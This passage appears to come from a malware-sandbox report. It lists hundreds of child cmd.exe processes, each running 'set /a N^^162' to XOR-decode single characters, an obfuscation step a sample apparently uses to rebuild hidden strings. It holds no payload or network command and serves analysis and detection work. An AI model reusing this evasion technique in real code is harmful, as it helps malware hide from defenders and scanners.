      "C:\Windows\system32\cmd.exe" /c "set /a 152^^162"
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 152^^162"
      4⤵
      PID:2928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:3052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 230^^162"
      4⤵
      PID:3000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2208
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:2268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 228^^162"
      4⤵
      PID:2360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:3044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 228^^162"
      4⤵
      PID:2484
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:3012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2436
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:3008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2648
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2828
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2388
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:1560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:2184
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2156
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:1700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 146^^162"
      4⤵
      PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 151^^162"
      4⤵
      PID:2616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:3040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 230^^162"
      4⤵
      PID:3060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2180
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:1664
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2212
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 146^^162"
      4⤵
      PID:1084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 146^^162"
      4⤵
      PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2416
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2352
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2312
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 146^^162"
      4⤵
      PID:2856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 150^^162"
      4⤵
      PID:1672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2428
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 226^^162"
      4⤵
      PID:516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2728
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:2520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2896
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2684
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:556
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2140
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:1764
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2340
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 247^^162"
      4⤵
      PID:1196
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 145^^162"
      4⤵
      PID:2304
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 144^^162"
      4⤵
      PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2200
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2556
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:1448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:2612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:2652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2484
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2252
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2208
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 159^^162"
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:2124
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 230^^162"
      4⤵
      PID:2876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2392
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:3068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 152^^162"
      4⤵
      PID:2560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 152^^162"
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:2940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2256
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 230^^162"
      4⤵
      PID:2296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2372
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1152
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2176
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1664
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:2388
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 222^^162"
      4⤵
      PID:572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 245^^162"
      4⤵
      PID:1924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:3024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 143^^162"
      4⤵
      PID:584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 237^^162"
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 200^^162"
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 217^^162"
      4⤵
      PID:2380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2204
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 253^^162"
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1208
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2188
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:2072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2896
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2352
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 143^^162"
      4⤵
      PID:2200
